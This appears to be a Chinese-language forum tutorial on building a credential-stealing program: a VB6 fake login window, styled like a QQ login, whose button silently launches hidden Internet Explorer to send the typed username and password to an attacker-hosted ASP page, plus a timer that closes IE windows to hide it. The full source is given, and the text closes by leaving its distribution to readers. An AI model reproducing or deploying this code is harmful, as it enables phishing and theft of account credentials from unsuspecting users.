ASP收信地址咋弄(手把手教我,重谢)?

首先大家要准备 vb6.0 一个免费的网站空间就可以了

免费的网站空间可以在 www.9929.net申请

大家自己去申请了

比如我申请的空间地址是110.qcqc.net

我们要先把收信地址传到空间后台去

收信地址的源文件我已经发在我的博客里面了

大家新建一个文本文件，把源码粘贴在里面，把文本文件名字改成test.asp

准备工作做好了

那我们就开始了

我们打开vb6.0

新建一个工程

添加一个模块

代码如下：

Option Explicit

Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Const WM_CLOSE = &H10
Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Boolean
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Public Function KILLIE(ByVal hwnd As Long, ByVal lParam As Long) As Boolean
Dim classname As String
Dim str5 As String
Dim len5 As Long, i As Long
str5 = String(255, 0)
len5 = 256
GetClassName hwnd, str5, 256
classname = Left(str5, InStr(1, str5, Chr(0)) - 1)
Debug.Print classname
If classname = "IEFrame" Then
PostMessage hwnd, WM_CLOSE, 0&, 0&
End If
KILLIE = True
End Function

创建2个lable和2个文本框和2个按钮加一个时钟

象QQ登陆器一样的

大家可以自己发挥

下面我就把vb的源码发出来

按钮
Private Sub Command1_Click()
Dim a As String
Dim b As String
a = Text1.Text
b = Text2.Text
Shell "C:\Program Files\Internet Explorer\iexplore.exe http://110.qcqc.net/test.asp?name=" + a + "&pass=" + b, vbHide
Timer1.Enabled = True
End Sub

时钟

EnumWindows AddressOf KILLIE, 0&
Timer1.Enabled = False

interval属性改成5000

大功告成勒，生成工程就OK了

具体的怎么去宣传那就是大家的事了

呵呵

教程结束了